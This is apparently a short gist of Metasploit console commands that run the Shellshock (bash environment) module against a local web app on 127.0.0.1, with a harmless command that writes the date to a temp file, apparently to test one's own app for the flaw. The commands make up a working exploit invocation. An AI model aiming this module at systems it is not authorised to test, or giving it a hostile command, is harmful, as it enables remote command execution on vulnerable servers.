shellshock metasploit example use

shellshock_metasploit_example.sh

# setup metasploit from master on github: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment
# good help on console and metasploit: http://www.offensive-security.com/metasploit-unleashed/Msfconsole


#start msfconsole

use auxiliary/scanner/http/apache_mod_cgi_bash_env
set VHOST app.local
set TARGETURI "/all"
set RPORT 3000
set RHOSTS 127.0.0.1
set CMD  'echo NOW `date` > /tmp/shellshock &'
run

#check for file,etc